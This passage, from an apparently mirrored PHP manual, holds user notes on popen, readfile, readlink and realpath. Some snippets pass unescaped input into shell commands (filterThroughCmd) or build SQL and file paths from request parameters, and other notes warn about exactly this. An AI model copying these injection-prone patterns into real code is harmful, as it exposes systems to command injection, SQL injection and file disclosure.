   $buffer = fgets($handle);
   echo "$buffer<br/>\n";
   ob_flush();
   flush();
}
pclose($handle);

?>

----
www.eviltree.co.uk
www.solidsites.co.uk
www.mongbong.com
atampone at NOSPAMFORME dot trdsupra dot com
20-Jun-2005 09:26
If you want to fork a process under windows, this is the function to use.  I created a batch file called runcmd.bat with the following line

start %1 %2 %3 %4

then I have the folowing function

<?
define('RUNCMDPATH', 'c:\\htdocs\\nonwebspace\\runcmd.bat');

function runCmd($cmd) {
   $externalProcess=popen(RUNCMDPATH.' '.$cmd, 'r');
   pclose($externalProcess);
}
?>

with this, doing something like

<? runCmd('php.exe printWorkOrder.php 3498'); ?>
will launch php.exe outside of apache and allow the script calling the runCmd() function to continue without waiting for the command line process to return.  The process will run under the same user account that Apache (or whatever webserver you're running) is running under, so make sure it has permissions to do whatever you need to do.  Also, make sure that the batch file has enough %n s in order to pass all the command line variables that you might need to pass.

Special thanks to kicken from the devshed forums for coming up with the idea.
electronerd at monolith3d dot com
26-May-2005 02:46
In response to shaun at nospam dot phplabs dot com:

fread() does not guarantee that all the expected data is read. The length argument is only an upper limit. If there isn't more data immediately available, fread() may return early.
PGP Dude
07-May-2005 01:52
I should say, my host uses a modified form of safe mode, so I don't know if that might have caused a problem with "popen" as opposed to "proc_open".  The warning below does NOT appear on the proc_open page:

quote:
With safe mode enabled, all words following the initial command string are treated as a single argument. Thus, echo y | echo x becomes echo "y | echo x".
PGP Dude
07-May-2005 03:30
LinixDude010's srcipt did not work for me.  Seems wrong to read and write with popen, according to the manual.

The script produced pgp text, but there was something wrong with the text and I could not decode it.

This replacement script, using proc_open, which can read and write, DOES work:

<?php
function pgp_encrypt($keyring_location, $public_key_id, $plain_text) {
  $encrypted_text='';
  $key_id = EscapeShellArg($public_key_id);
  putenv("PGPPATH=$keyring_location");

  // encrypt the message
  $descriptorspec = array(
   0 => array("pipe", "r"),  // stdin
   1 => array("pipe", "w"),  // stdout
   2 => array("pipe", "w")  // stderr ?? instead of a file
  );
  $process = proc_open("pgpe -r $key_id -af", $descriptorspec, $pipes);
  if (is_resource($process)) {
   fwrite($pipes[0], $plain_text);
   fclose($pipes[0]);
   while($s= fgets($pipes[1], 1024)) {
         // read from the pipe
         $encrypted_text .= $s;
   }
   fclose($pipes[1]);
   // optional:
   while($s= fgets($pipes[2], 1024)) {
     $encrypted_text.= "\n<p>Error: $s</p>\n";
   }
   fclose($pipes[2]);
  }
  return $encrypted_text;
}

$message = pgp_encrypt("/home/username/.pgp", "to@domain.com", "dummy text to be encrypted");
print nl2br($message);

?>
shaun at nospam dot phplabs dot com
27-Feb-2005 09:52
Note that there appears to be a limit to the amount of data that fread() will return from a handle opened with popen(). A call to fread() may not return as much as you ask for.

For example, suppose I have a file "myfile.txt" which is more than 10KB in size. The following code works as expected:

<?php
$fp = fopen('myfile.txt', 'r');
$data = fread($fp, 10240);
echo strlen($data);
?>

The output is '10240.' However, popen() behaves differently:

<?php
$fp = popen('/bin/cat myfile.txt', 'r');
$data = fread($fp, 10240);
echo strlen($data);
?>

On my system, this code prints out '8192' instead of the expected '10240.'
webmaster at elcurriculum dot com
10-Dec-2004 04:05
This function send an email in html format.

function SendEmail($to,$asunto,$html,$from) {
   $fd = popen("/usr/sbin/sendmail -t", "w");
   fputs($fd, "Content-type: text/html\r\n");
   fputs($fd, "To: $to\r\n");
   fputs($fd, "From: TRYKE <" . $from . ">\r\n");
   fputs($fd, "Subject: $asunto\r\n");
   fputs($fd, "X-Mailer: PHP3\r\n\r\n");
   fputs($fd, $html);
   pclose($fd);
}

Examples:
SendEmail("tryke@hot.com","My Subject","<h1>Hi,<br>How are you?</h1>","miemail@midomain.com");

More:
http://tryke.blogcindario.com
kalvinb602 at hotmail dot com
07-Jul-2004 06:42
If you're having trouble with the server (Apache) hanging when issuing system commands consider the following bug report:

http://bugs.php.net/bug.php?id=22526

basically, if you're using sessions issue a

session_write_close();

command before you execute your system command to keep the server from hanging.

This may also correct the problem when using other system command executing functions like exec.

Ben
Michel Machado
07-Mar-2004 09:53
Yet another workaround for not having bidirectional pipes in php.

$Cmd =
"bc 2>&1 << END\n" .
"100+221\n" .
"1+3*3\n" .
"quit\n" .
"END\n";

$fp = popen($Cmd, 'r');
$read = fread($fp, 1024);
echo $read;
pclose($fp);
http://vmlinuz.nl/about/contact/
12-Nov-2002 12:58
From the popen linux programmers manual:
<quote>The  command  argument  is  a pointer to a null-terminated string containing a shell command line.  This  command  is passed  to  /bin/sh  using the -c flag.</quote>

Since php uses this popen function, you need to be sure /bin/sh exists. This file may not exist in chroot()ed environments.
ajv-php at erkle dot org
09-Aug-2002 02:02
I noticed that some of the examples above seem to advocate passing unencrypted data to gpg via the pipe shell escape, in the absence of a bi-directional popen (on some OSes).

The approach I've taken is similar to:

  $prefix = 'example';
  $command = '/usr/local/bin/gpg --encrypt --armor --no-tty --batch --no-secmem-warning --recipient "joe.soap@example.com"';
  $tmpfile = tempnam('/tmp', $prefix);
  $pipe = popen("$command 2>&1 >$tmpfile", 'w');
  if (!$pipe) {
   unlink($tmpfile);
  } else {
   fwrite($pipe, $plaintxt, strlen($plaintxt));
   pclose($pipe);
   $fd = fopen($tmpfile, "rb");
   $output = fread($fd, filesize($tmpfile));
   fclose($fd);
   unlink($tmpfile);
  }
  return $output;

This means that unencrypted information is not passed via a (potentially readable) shell command, and only encrypted information gets stored on disc.
12-Jul-2002 05:33
Here is a workaround for not having bidirectional pipes in php.

If you have bidirectional pipe support, don't bother with this.

The trick here is to send the input on the command line to the target application.  In particular I wanted to use openssl without using temp files or named pipes.  This solution should also be thread/process safe.

This does work on Linux (RedHat 7).

function filterThroughCmd($input, $commandLine) {
  $pipe = popen("echo \"$input\"|$commandLine" , 'r');
  if (!$pipe) {
   print "pipe failed.";
   return "";
  }
  $output = '';
  while(!feof($pipe)) {
   $output .= fread($pipe, 1024);
  }
  pclose($pipe);
  return $output;
}

# example:
print filterThroughCmd("hello", "cat");
# Piping to cat has the effect of echoing your input.
cyberlot at cyberlot dot net
01-Jul-2002 04:29
The below code works for both way processing ;) Have fun folks

<?
   system("mkfifo pipeout");
   $pipe = popen("./nwserver -module Chapter1E > pipeout","w");
   $pipeout = fopen("pipeout", "r");
   while ($s = fgets($pipeout,1024)) {
   echo $s;
   }

?>
linuxdude010 at yahoo dot com
25-May-2002 02:49
I had all kinds of trouble encrypting a message with PGP, but I finanlly got it to work.  The trick was to 'chmod o+r pubring.pkr' so that the apache server could read the public keys!!!  Then, this function worked fine:

<?PHP
function pgp_encrypt($keyring_location, $public_key_id, $plain_text) {

       $key_id = EscapeShellArg($public_key_id);
       putenv("PGPPATH=$keyring_location");

       // encrypt the message
       $pipe = popen("pgpe -r $key_id -af", "r");
       fwrite($pipe, $plain_text);
       $encrypted_text = '';
       while($s = fgets($pipe, 1024)) {
               // read from the pipe
               $encrypted_text .= $s;
       }
       pclose($pipe);

       return $encrypted_text;
}

$message = pgp_encrypt("/home/username/.pgp", "to@domain.com", "dummy text to be encrypted");
print nl2br($message);

?>
nricciardi at mindspring dot com
09-Mar-2002 08:38
ive tried using popen using bidirectional pipes without working for obvious reasons, but i managed to create a simple script that managed to take care of the problem.  This example is for gpg encryption.

<?
   $message = "this is the text to encrypt with gpg";
   $sendto = 'Dummy Key <another@fake.email>';

   system("mkfifo pipein");
   system("mkfifo pipeout");
   system("gpg --encrypt -a -r '$sendto' > pipeout < pipein &");
   $fo = fopen("pipeout", "r");
   $fi = fopen("pipein", "w");
   fwrite($fi, $message, strlen($message));
   fclose($fi);
   while (!feof($fo)) {
     $buf .= fread($fo, 1024);
   }
   echo $buf;
   unlink("pipein");
   unlink("pipeout");
?>

If anyone has a better way of doing this I would love to see it.
kevin at pricetrak dot com
30-Jun-2001 02:26
Just a quick note about your environment. None of the apache specific environment variables are available to the called program.
trevor at verite dot com
17-Feb-2001 04:42
Just make sure that you check the user information being passed into the command (if any) before it executes.
bevmo at gmx dot de
02-Dec-2000 02:27
Try this if you want to use sendmail...
$mailer = popen ("/usr/sbin/sendmail -t -i","w");
fwrite ($mailer,"Subject:
From:
To:

*insert text*
");
pclose ($mailer);
stevet at linuxfan dot com
14-Nov-2000 11:17
In PHP3, I could do:

$query = "echo hello world | mycmd"
$fp = ($query, "r");

Under PHP4, this just produces "hello world | mycmd" as the output - the pipe is not executed.

Instead, use:

$query = "hello world";
$cmd = "mycmd";
$fp = popen($cmd, "w+");
fwrite($fp, $query);
lexzeus at mifinca dot com
09-Nov-2000 01:53
Try this (if you're familiar with vi editor) :

<?php
$f=popen("vi newfile.txt","w");
sleep(1);
fputs($f,"i");  // insert

sleep(1);
fputs($f,"Hello world\r"); // write the text to vi Editor

sleep(1);
fputs($f,chr(27));  // cancel action

sleep(1);
fputs($f,":wq\r");  // write and quit

pclose($f); // back to php

exit;
?>

heh heh heh,

LexZEUS
matthew at leftcoast dot com
04-Oct-2000 09:16
Note that your OS must support bi-direction pipes for popen to be bi-directional.

FreeBSD and BSDI are known to support bi-pipes.

Not sure about Linux.
add a note add a note

后退 | 起点 | 前进
pclose | 上一级 | readfile


readfile

(PHP 3, PHP 4, PHP 5)

readfile -- 输出一个文件

说明

int readfile ( string filename [, bool use_include_path [, resource context]] )

读入一个文件并写入到输出缓冲。

返回从文件中读入的字节数。如果出错返回 FALSE 并且除非是以 @readfile() 形式调用，否则会显示错误信息。

提示: 如果“fopen wrappers”已经被激活，则在本函数中可以把 URL 作为文件名来使用。请参阅 fopen() 函数来获取怎样指定文件名的详细信息以及支持 URL 封装协议的列表：附录 L。

如果也想在 include_path 中搜索文件，可以使用可选的第二个参数并将其设为 TRUE。

注: 对 context 的支持是 PHP 5.0.0 添加的。有关 context 的说明请参考参考 CXLI, Stream Functions。

参见 fpassthru()，file()，fopen()，include()，require()，virtual()，file_get_contents() 和附录 L。

add a note add a note User Contributed Notes
ericlaw1979 at hotmail dot com
07-Jun-2006 03:18
It is an error to send post-check=0.  See http://blogs.msdn.com/ie/archive/2006/06/01/613132.aspx
irek at eccomes dot de
30-Mar-2006 12:35
Related to francesco at paladinux: HOW TO RESOLVE EXPLORER SAVE PROBLEM IN FORCE-DOWNLOAD.

To use "application/octetstream" instead of "application/octet-stream" may help in some cases. But the solution of this problem in most cases is to use

header ("Cache-Control: must-revalidate, post-check=0, pre-check=0");

See also message of ctemple below. This helps not only for pdf but also generally.
stefan at stefandouma dot nl
27-Mar-2006 08:00
If you want to read a file from your ftp server use this:

readfile("ftp://" . $username . ":" . $password . "@domain.com/file.html");

Don't use this, it's not going to work:

readfile(ftp_get($conn_id, $local_file, $server_file, FTP_BINARY));
Paladinux<francesco at paladinux dot net>
25-Feb-2006 12:47
[2th Part of My MESSAGE]

//UNDERSTEND EXTENSION TO RESOLVE IEXPLORER BUG
//
switch ($type) {
case "exe": (($browser=='IE' || $browser=='OPERA')?
(
$ctype="application/octetstream"):(
$ctype="application/octet-stream"));
break;
case "pdf": $ctype="application/pdf";
break;
case "zip": $ctype="application/zip";
break;
case "doc": $ctype="application/msword";
break;
case "xls": $ctype="application/vnd.ms-excel";
break;
case "ppt": $ctype="application/vnd.ms-powerpoint";
break;
case "gif": $ctype="image/gif";
break;
case "png": $ctype="image/png";
break;
case "jpe": case "jpeg":
case "jpg": $ctype="image/jpg";
break;
default: $ctype="application/force-download";
}
//EXIST FILE? YES ->FORCEDOWNLOAD
//                  NO ->DIE AND COME BACK IF IS POSSIBLE
if (file_exists($file))
   {
           header("Pragma: public");
           header('Expires: '.gmdate('D, d M Y H:i:s').' GMT');
           header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
           header("Cache-Control: private",false);
           header("Content-Type: $ctype");
           header('Content-Disposition: attachment; filename="'.$filename.'.'.$type.'"');
           header("Content-Transfer-Encoding: binary");
           header('Content-Length: '.filesize($abs_item));
           set_time_limit(0);
           @readfile($abs_item) OR die("<html><body OnLoad=\"javascript: alert('Nessun file trovato');history.back();\" bgcolor=\"#F0F0F0\"></body></html>");
           exit;
   }//fine if ($file)
else die("<html><body OnLoad=\"javascript: alert('Nessun file da scaricare!');history.back();\" bgcolor=\"#F0F0F0\"></body></html>");
Paladinux<francesco at paladinux dot net>
25-Feb-2006 12:42
[1th Part of My MESSAGE]

Argh!!!!!!!!!!!!!
There is some difference from the browser
In Explorer 6, 4 example, if you read file and force download, show the mask "Do you want't save or open the file?".
If you save, it's all right, if not don't work.

This is an example to
"HOW RESOLVE EXPLOER SAVE PROBLEM IN FORCE-DOWNLOAD WRITTEN IN PHP MODE"

Have fun!

Paladinux

======================================
error_reporting(0); //Don't remove
##UNDERSTEND THE BROWSER
function id_browser() {
$browser=$GLOBALS['__SERVER']['HTTP_USER_AGENT'];

   if(ereg('Opera(/| )([0-9].[0-9]{1,2})', $browser)) {
       return 'OPERA';
   } else if(ereg('MSIE ([0-9].[0-9]{1,2})', $browser)) {
       return 'IE';
   } else if(ereg('OmniWeb/([0-9].[0-9]{1,2})', $browser)) {
       return 'OMNIWEB';
   } else if(ereg('(Konqueror/)(.*)', $browser)) {
       return 'KONQUEROR';
   } else if(ereg('Mozilla/([0-9].[0-9]{1,2})', $browser)) {
       return 'MOZILLA';
   } else {
       return 'OTHER';
   }
}
## OBTAIN  ID FROM GET
$id=$_GET['id'];
##OBTAIN DATA FROM DB "SELECT * FROM your_attachment_table WHERE id=$id LIMIT 1";
#    $id,$realname ,$srvname  = $nome.'.'.$type,$byte,$download
##V.I.THINGS-> $type      = strtolower($a_row['Attachment_Real_Ext']);
   $nome      = str_pad($a_row['id'], 10, "0", STR_PAD_LEFT)    ;
#BUILDING PATH
$abs_item="DATA/".$srvname;
#BUILDING FILE DIMENSION
$size=filesize($file);
@set_time_limit(600);
   $browser=id_browser();
oryan at zareste dot com
27-Nov-2005 11:18
As Grey said below:  Readfile will send users un-executed PHP files, which makes it easy to exploit vulnerabilities.  It's common - and easy - to use GET variables pointing to downloadable files, like script.php?v=web/file.mov , but this lets users to change it to script.php?v=index.php and get damaging info.  Even POST variables can be exploited this way if the user's on a custom browser.

To keep secure, limit downloadable files to one directory, like 'web/', so that script.php?v=file.mov will send web/file.mov, and scan the variable for '..' and 'php' to make sure users can't go into other directories, or open php files you may have stupidly put under web/.  This should cover all the bases.
peavey at pixelpickers dot com
20-Oct-2005 09:38
A mime-type-independent forced download can also be conducted by using:

<?
(...)
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // some day in the past
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Content-type: application/x-download");
header("Content-Disposition: attachment; filename={$new_name}");
header("Content-Transfer-Encoding: binary");
?>

Cheers,

Peavey
planetmaster at planetgac dot com
17-Oct-2005 02:44
Using pieces of the forced download script, adding in MySQL database functions, and hiding the file location for security was what we needed for downloading wmv files from our members creations without prompting Media player as well as secure the file itself and use only database queries. Something to the effect below, very customizable for private access, remote files, and keeping order of your online media.

<?
   # Protect Script against SQL-Injections
   $fileid=intval($_GET[id]);
   # setup SQL statement
   $sql = " SELECT id, fileurl, filename, filesize FROM ibf_movies WHERE id=' $fileid' ";

   # execute SQL statement
   $res = mysql_query($sql);

       # display results
       while ($row = mysql_fetch_array($res)) {
       $fileurl = $row['fileurl'];
       $filename= $row['filename'];
       $filesize= $row['filesize'];

           $file_extension = strtolower(substr(strrchr($filename,"."),1));

           switch ($file_extension) {
               case "wmv": $ctype="video/x-ms-wmv"; break;
               default: $ctype="application/force-download";
           }

// required for IE, otherwise Content-disposition is ignored
if(ini_get('zlib.output_compression'))
ini_set('zlib.output_compression', 'Off');

           header("Pragma: public");
           header("Expires: 0");
           header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
           header("Cache-Control: private",false);
           header("Content-Type: video/x-ms-wmv");
           header("Content-Type: $ctype");
           header("Content-Disposition: attachment; filename=\"".basename($filename)."\";");
           header("Content-Transfer-Encoding: binary");
           header("Content-Length: ".@filesize($filename));
           set_time_limit(0);
           @readfile("$fileurl") or die("File not found.");

}

$donwloaded = "downloads + 1";

   if ($_GET["hit"]) {
       mysql_query("UPDATE ibf_movies SET downloads = $donwloaded WHERE id=' $fileid'");

}

?>

While at it I added into download.php a hit (download) counter. Of course you need to setup the DB, table, and columns. Email me for Full setup// Session marker is also a security/logging option
Used in the context of linking:
http://www.yourdomain.com/download.php?id=xx&hit=1

[Edited by sp@php.net: Added Protection against SQL-Injection]
antispam [at] rdx page [dot] com
21-Sep-2005 05:14
Just a note:  If you're using bw_mod (current version 0.6) to limit bandwidth in Apache 2, it *will not* limit bandwidth during readfile events.
24-Aug-2005 05:39
here is a nice force download scirpt

           $filename = 'dummy.zip';
           $filename = realpath($filename);

           $file_extension = strtolower(substr(strrchr($filename,"."),1));

           switch ($file_extension) {
               case "pdf": $ctype="application/pdf"; break;
               case "exe": $ctype="application/octet-stream"; break;
               case "zip": $ctype="application/zip"; break;
               case "doc": $ctype="application/msword"; break;
               case "xls": $ctype="application/vnd.ms-excel"; break;
               case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
               case "gif": $ctype="image/gif"; break;
               case "png": $ctype="image/png"; break;
               case "jpe": case "jpeg":
               case "jpg": $ctype="image/jpg"; break;
               default: $ctype="application/force-download";
           }

           if (!file_exists($filename)) {
               die("NO FILE HERE");
           }

           header("Pragma: public");
           header("Expires: 0");
           header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
           header("Cache-Control: private",false);
           header("Content-Type: $ctype");
           header("Content-Disposition: attachment; filename=\"".basename($filename)."\";");
           header("Content-Transfer-Encoding: binary");
           header("Content-Length: ".@filesize($filename));
           set_time_limit(0);
           @readfile("$filename") or die("File not found.");
herbert dot fischer at NOSPAM dot gmail dot com
22-Jul-2005 11:01
readfile and fpassthru are about 55% slower than doing a loop with "feof/echo fread".
cenaculo at netcabo dot pt
19-Jul-2005 03:09
This is a good function to overcome the Animated GIF problem in PHP, sending a GIF as a normal file, just putting a header before, just to tell the browser that you are sending a GIF. This was the only way i found to send an animated GIF that really animates in the browser.

The code i reproduce here is not mine, but posted before by chrisputnam at gmail dot com, and it works just fine, i just putted the header before:

<?php
  function readfile_chunked($filename,$retbytes=true)
  {
   $chunksize = 1*(1024*1024); // how many bytes per chunk
   $buffer = '';
   $cnt =0;
   // $handle = fopen($filename, 'rb');
   $handle = fopen($filename, 'rb');
   if ($handle === false)
   {
     return false;
   }
   while (!feof($handle))
   {
     $buffer = fread($handle, $chunksize);
     echo $buffer;
     flush();
     if ($retbytes)
     {
       $cnt += strlen($buffer);
     }
   }
   $status = fclose($handle);
   if ($retbytes && $status)
   {
     return $cnt; // return num. bytes delivered like readfile() does.
   }
   return $status;
  }

  $vfile = "filename.gif";
  header("Content-type: image/gif");
  readfile_chunked($vfile,false);
?>

The code i had before was like this:

<?php
  $vfile = "filename.gif";
  $im = imagecreatefromgif($vfile);
  header("Content-type: image/gif");
  imagegif($im);
?>

But it only shows the first frame of the Animated GIF.
chrisputnam at gmail dot com
30-Jun-2005 04:44
In response to flowbee@gmail.com --

When using the readfile_chunked function noted here with files larger than 10MB or so I am still having memory errors. It's because the writers have left out the all important flush() after each read. So this is the proper chunked readfile (which isn't really readfile at all, and should probably be crossposted to passthru(), fopen(), and popen() just so browsers can find this information):

<?php
function readfile_chunked($filename,$retbytes=true) {
   $chunksize = 1*(1024*1024); // how many bytes per chunk
   $buffer = '';
   $cnt =0;
   // $handle = fopen($filename, 'rb');
   $handle = fopen($filename, 'rb');
   if ($handle === false) {
       return false;
   }
   while (!feof($handle)) {
       $buffer = fread($handle, $chunksize);
       echo $buffer;
       ob_flush();
       flush();
       if ($retbytes) {
           $cnt += strlen($buffer);
       }
   }
       $status = fclose($handle);
   if ($retbytes && $status) {
       return $cnt; // return num. bytes delivered like readfile() does.
   }
   return $status;

}
?>

All I've added is a flush(); after the echo line. Be sure to include this!
Hernn Pereira
18-May-2005 02:21
I saw in previous contributed notes that in content-disposition the file is not a quoted-string, there is no problem if the filename have no spaces but if it has in IE it works but in Firefox not.

The RFC 2616 puts as an example this:
Content-Disposition: attachment; filename="fname.ext"

You can see http://www.faqs.org/rfcs/rfc2616.html section "19.5.1 Content-Disposition" for more details.

The correct header then is this:
header("Content-Disposition: attachment; filename=\"$filename\"");
Philipp Heckel
11-May-2005 07:58
To use readfile() it is absolutely necessary to set the mime-type before. If you are using an Apache, it's quite simple to figure out the correct mime type. Apache has a file called "mime.types" which can (in normal case) be read by all users.

Use this (or another) function to get a list of mime-types:

<?php

   function mimeTypes($file) {
       if (!is_file($file) || !is_readable($file)) return false;
       $types = array();
       $fp = fopen($file,"r");
       while (false != ($line = fgets($fp,4096))) {
           if (!preg_match("/^\s*(?!#)\s*(\S+)\s+(?=\S)(.+)/",$line,$match)) continue;
           $tmp = preg_split("/\s/",trim($match[2]));
           foreach($tmp as $type) $types[strtolower($type)] = $match[1];
       }
       fclose ($fp);

       return $types;
   }

   # [...]

   # read the mime-types
   $mimes = mimeTypes('/usr/local/apache/current/conf/mime.types');

   # use them ($ext is the extension of your file)
   if (isset($mimes[$ext])) header("Content-Type: ".$mimes[$ext]);
   header("Content-Length: ".@filesize($fullpath));
   readfile($fullpath); exit;

?>

If you do not want to read from the mime.types file directly, you can of course make a copy in another folder!
Cheers Philipp Heckel
flobee at gmail dot com
07-May-2005 02:17
regarding php5:
i found out that there is already a disscussion @php-dev  about readfile() and fpassthru() where only exactly 2 MB will be delivered.

so you may use this on php5 to get lager files
<?php
function readfile_chunked($filename,$retbytes=true) {
   $chunksize = 1*(1024*1024); // how many bytes per chunk
   $buffer = '';
   $cnt =0;
   // $handle = fopen($filename, 'rb');
   $handle = fopen($filename, 'rb');
   if ($handle === false) {
       return false;
   }
   while (!feof($handle)) {
       $buffer = fread($handle, $chunksize);
       echo $buffer;
       if ($retbytes) {
           $cnt += strlen($buffer);
       }
   }
       $status = fclose($handle);
   if ($retbytes && $status) {
       return $cnt; // return num. bytes delivered like readfile() does.
   }
   return $status;

}
?>
TheDayOfCondor
27-Apr-2005 09:24
I think that readfile suffers from the maximum script execution time. The readfile is always completed even if it exceed the default 30 seconds limit, then the script is aborted.
Be warned that you can get very odd behaviour not only on large files, but also on small files if the user has a slow connection.

The best thing to do is to use

<?
  set_time_limit(0);
?>

just before the readfile, to disable completely the watchdog if you intend to use the readfile call to tranfer a file to the user.
comicforum at lelon dot net
23-Apr-2005 02:22
The problem with using readfile on large files isn't caused by your memory_limit setting.  Setting it to 4x the size of the file can still cause the file to be truncated.  Use the readfile_chunked found below.
TheDayOfCondor
21-Apr-2005 12:10
Beware - the chunky readfile suggested by Rob Funk can easily exceed you maximum script execution time (30 seconds by default).

I suggest you to use the set_time_limit function inside the while loop to reset the php watchdog.
php at cNhOiSpPpAlMe dot net
22-Feb-2005 10:25
For some reason, readfile seems to reset the file's modified time (filemtime). Using fopen and fpassthru avoids this.

<?
$fp = @fopen($file,"rb");
fpassthru($fp);
fclose($fp);
?>

(PHP version: 4.3.10)
Rob Funk
05-Jan-2005 02:31
When using readfile() with very large files, it's possible to run into problems due to the memory_limit setting; apparently readfile() pulls the whole file into memory at once.

One solution is to make sure memory_limit is larger than the largest file you'll use with readfile().  A better solution is to write a chunking readfile.  Here's a simple one that doesn't exactly conform to the API, but is close enough for most purposes:

<?php
function readfile_chunked ($filename) {
  $chunksize = 1*(1024*1024); // how many bytes per chunk
  $buffer = '';
  $handle = fopen($filename, 'rb');
  if ($handle === false) {
   return false;
  }
  while (!feof($handle)) {
   $buffer = fread($handle, $chunksize);
   print $buffer;
  }
  return fclose($handle);
}
?>
Justin Dearing
30-Dec-2004 07:38
Word for word copy of a comment on session_start() posted by Kevin. Might be relevant here.

If you're having a problem with a file download script not working with IE if you call session_start() before sending the file, then try adding a session_cache_limiter() call before session_start().

I use session_cache_limiter('none'), but 'public' and 'private' seem to fix the problem too; use whichever suits your application.
grey - greywyvern - com
30-Dec-2004 12:29
readfile() makes a handy include for what you know should be plain HTML or text.  Sloppy and/or lazy scripters can introduce security risks when using include() and require() in such a way that users can tell the script what file(s) to include.  This is because the PHP code contained in any file they refer to is executed with PHP's privledges.

With readfile(), any PHP code is passed to the output buffer as-is, without being executed.
ctemple at n-able dot com
16-Nov-2004 04:12
If you're passing files through a script, you may want to include this header:

       header ("Cache-Control: must-revalidate, post-check=0, pre-check=0");

Otherwise, some programs such as Adobe Reader may have problems opening files directly.

<?php
       header ("Cache-Control: must-revalidate, post-check=0, pre-check=0");
       header ("Content-Type: application/octet-stream");
       header ("Content-Length: " . filesize($theFile));
       header ("Content-Disposition: attachment; filename=$theFileName");
       readfile($theFile);
?>
Thomas Jespersen
25-Oct-2004 09:06
Remember if you make a "force download" script like mentioned below that you SANITIZE YOUR INPUT!

I have seen a lot of  download scripts that does not test so you are able to download anything you want on the server.

Test especially for strings like ".." which makes directory traversal possible. If possible only permit characters a-z, A-Z and 0-9 and make it possible to only download from one "download-folder".
flobee at gmail dot com
04-Oct-2004 08:33
you may try the statemants below with
header("Content-Type: application/octet-stream");
// insteat OF: header('Content-Type: application/force-download');
MAC OSX / IE: has problems to find the right mime type and do not accept spaces in filenames. then all plattforms should work
nobody at localhost
23-Sep-2004 05:03
If you want to force a download:

<?php
$file = '/var/www/html/file-to-download.xyz';
header('Content-Description: File Transfer');
header('Content-Type: application/force-download');
header('Content-Length: ' . filesize($filename));
header('Content-Disposition: attachment; filename=' . basename($file));
readfile($file);
?>
kschenke at datafreight dot com
16-Oct-2003 12:43
If your site visitors are having problems with Internet Explorer downloading files over an SSL connection, see the manual page for the session_cache_limiter() function.
add a note add a note

后退 | 起点 | 前进
popen | 上一级 | readlink


readlink

(PHP 3, PHP 4, PHP 5)

readlink -- 返回符号连接指向的目标

说明

string readlink ( string path )

readlink() 和同名的 C 函数做同样的事，返回符号连接的内容。如果出错返回 FALSE。

例子 1. readlink() 例子

<?php

// output e.g. /boot/vmlinux-2.4.20-xfs
echo readlink('/vmlinuz');

?>

注: 本函数未在 Windows 平台下实现。

参见 is_link()，symlink() 和 linkinfo()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
readfile | 上一级 | realpath


realpath

(PHP 4, PHP 5)

realpath -- 返回规范化的绝对路径名

说明

string realpath ( string path )

realpath() 扩展所有的符号连接并且处理输入的 path 中的 '/./', '/../' 以及多余的 '/' 并返回规范化后的绝对路径名。返回的路径中没有符号连接，'/./' 或 '/../' 成分。

realpath() 失败时返回 FALSE，比如说文件不存在的话。在 BSD 系统上，如果仅仅是 path 不存在的话，PHP 并不会像其它系统那样返回 FALSE。

例子 1. realpath() 例子

<?php
$real_path = realpath("../../index.php");
?>

参见 basename()，dirname() 和 pathinfo()。

add a note add a note User Contributed Notes
nospam at savvior dot com
04-Oct-2005 02:36
Hello, I was having problems getting realpath to work on a windows shared hosting machine and used this function to resolve it... hope this helps someone

Code:
<?
function realpath2($path)
{
   ////check if realpath is working
               if (strlen(realpath($path))>0)
                     return realpath($path);

               ///if its not working use another method///
               $p=getenv("PATH_TRANSLATED");
   $p=str_replace("\\","/",$p);
   $p=str_replace(basename(getenv("PATH_INFO")),"",$p);
   $p.="/";
   if ($path==".")
     return $p;
   //now check for back directory//
   $p=$p.$path;

   $dirs=split("/",$p);
   foreach($dirs as $k => $v)
   {

     if ($v=="..")
     {
         $dirs[$k]="";
         $dirs[$k-2]="";
     }
   }
   $p="";
   foreach($dirs as $k => $v)
   {
     if (strlen($v)>0)
         $p.=$v."/";
   }
   $p=substr($p,0,strlen($p)-1);

   if (is_dir($p))
     return $p;
   if (is_file($p))
     return $p;

   return false;

}
?>
bart at mediawave dot nl
22-Sep-2005 02:31
Here's another function that resolves references to '/./', '/../' and extra '/' characters in the input path and returns the canonicalized pathname.

<?php

function cleanPath($path) {
   $result = array();
   // $pathA = preg_split('/[\/\\\]/', $path);
   $pathA = explode('/', $path);
   if (!$pathA[0])
       $result[] = '';
   foreach ($pathA AS $key => $dir) {
       if ($dir == '..') {
           if (end($result) == '..') {
               $result[] = '..';
           } elseif (!array_pop($result)) {
               $result[] = '..';
           }
       } elseif ($dir && $dir != '.') {
           $result[] = $dir;
       }
   }
   if (!end($pathA))
       $result[] = '';
   return implode('/', $result);
}

echo 'input:  ', $path = '..//./../dir4//./dir5/dir6/..//dir7/', '<br />';
echo 'output: ', cleanPath($path), '<br />';

?>

Will return:

input:  ..//./../dir4//./dir5/dir6/..//dir7/
output: ../../dir4/dir5/dir7/
Jonny Rylands
15-Sep-2005 06:19
Having problems with includes within include files,
particularly when the include files are in different directories?

This syntax allows:

* relative paths to be used in include strings.
* include files to include other files in different directories.

without getting file not found errors.

<?
  include_once realpath(dirname(__FILE__)."/relative/path/to/include.inc.php");
?>
Tyron Madlener
15-Aug-2005 03:53
None of the functions provided here worked for me. All of them somehow had the problem with pathes like '../../downloads/bar/../foo/..' or didn't provide relative paths.
So I coded my one that justs removes '.'-dirs from the paths and simplifies stuff like 'dir/..'

function SimplifyPath($path) {
  $dirs = explode('/',$path);

  for($i=0; $i<count($dirs);$i++) {
   if($dirs[$i]=="." || $dirs[$i]=="") {
     array_splice($dirs,$i,1);
     $i--;
   }

   if($dirs[$i]=="..") {
     $cnt = count($dirs);
     $dirs=Simplify($dirs, $i);
     $i-= $cnt-count($dirs);
   }
  }
  return implode('/',$dirs);
}

function Simplify($dirs, $idx) {
  if($idx==0) return $dirs;

  if($dirs[$idx-1]=="..") Simplify($dirs, $idx-1);
  else  array_splice($dirs,$idx-1,2);

  return $dirs;
}

I just wonder why all the other solutions are so complex and that mine so simple, because in general the problem of simplifieng isn't that hard to solve. Well, I hope that there aren't any cases on which my solution fails. Otherwise, feel free to improve :D
phpnote at web-milk dot co dot uk
22-Jul-2005 10:01
